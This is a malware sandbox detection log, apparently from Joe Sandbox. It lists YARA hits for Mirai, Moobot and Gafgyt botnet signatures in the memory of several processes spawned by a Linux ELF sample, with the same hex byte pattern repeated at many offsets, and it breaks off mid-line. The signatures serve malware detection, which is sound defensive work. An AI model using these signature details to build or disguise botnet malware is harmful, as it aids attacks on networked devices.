Process Memory Space: log21.x86_64.elf PID: 6260	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x176f:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1783:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1797:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17ab:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17bf:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17d3:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17e7:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17fb:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x180f:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1823:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1837:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x184b:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x185f:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1873:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1887:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x189b:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x18af:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x18c3:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x18d7:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x18eb:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x18ff:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
Process Memory Space: log21.x86_64.elf PID: 6261	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
Process Memory Space: log21.x86_64.elf PID: 6261	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
Process Memory Space: log21.x86_64.elf PID: 6261	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0xe89:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xe9d:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xeb1:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xec5:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xed9:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xeed:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf01:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf15:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf29:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf3d:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf51:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf65:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf79:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf8d:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xfa1:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xfb5:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xfc9:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xfdd:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xff1:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1005:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1019:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
Process Memory Space: log21.x86_64.elf PID: 6262	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
Process Memory Space: log21.x86_64.elf PID: 6262	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x1733:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1747:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x175b:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x176f:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1783:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1797:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17ab:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17bf:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17d3:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17e7:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17fb:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x180f:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1823:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1837:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x184b:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x185f:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1873:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1887:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x189b:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x18af:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x18c3:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
Process Memory Space: log21.x86_64.elf PID: 6263	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
Process Memory Space: log21.x86_64.elf PID: 6263	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
Process Memory Space: log21.x86_64.elf PID: 6263	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0xe9a:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xeae:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xec2:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xed6:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xeea:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xefe:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf12:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf26:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf3a:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf4e:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf62:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf76:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf8a:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf9e:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xfb2:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xfc6:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xfda:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xfee:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1002:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1016:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x102a:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
Process Memory Space: log21.x86_64.elf PID: 6264	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
Process Memory Space: log21.x86_64.elf PID: 6264	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x1aad:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1ac1:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1ad5:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1ae9:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1afd:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1b11:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1b25:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1b39:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1b4d:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1b61:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1b75:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1b89:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1b9d:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1bb1:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1bc5:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1bd9:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1bed:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1c01:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1c15:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1c29:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1c3d:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
Process Memory Space: log21.x86_64.elf PID: 6265	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
Process Memory Space: log21.x86_64.elf PID: 6265	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x1aac:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1ac0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1ad4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1ae8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1afc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1b10:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1b24:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1b38:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1b4c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1b60:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1b74:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1b88:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1b9c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1bb0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1bc4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1bd8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1bec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1c00:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1c14:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1c28:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1c3c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
Process Memory Space: log21.x86_64.elf PID: 6266	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
Process Memory Space: log21.x86_64.elf PID: 6266	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x17f9:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x180d:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1821:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1835:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1849:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x185d:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1871:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1885:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1899:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x18ad:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x18c1:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x18d5:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x18e9:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x18fd:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1911:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1925:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1939:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x194d:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1961:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1975:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1989:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
Process Memory Space: log21.x86_64.elf PID: 6267	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
Process Memory Space: log21.x86_64.elf PID: 6267	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
Process Memory Space: log21.x86_64.elf PID: 6267	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0xe89:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xe9d:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xeb1:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xec5:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xed9:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xeed:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf01:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf15:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf29:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf3d:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf51:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf65:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf79:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf8d:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xfa1:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xfb5:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xfc9:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xfdd:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xff1:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1005:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1019:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
Process Memory Space: log21.x86_64.elf PID: 6268	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
Process Memory Space: log21.x86_64.elf PID: 6268	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x1fea:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1ffe:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x2012:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x2026:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x203a:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x204e:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x2062:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x2076:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x208a:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x209e:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x20b2:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 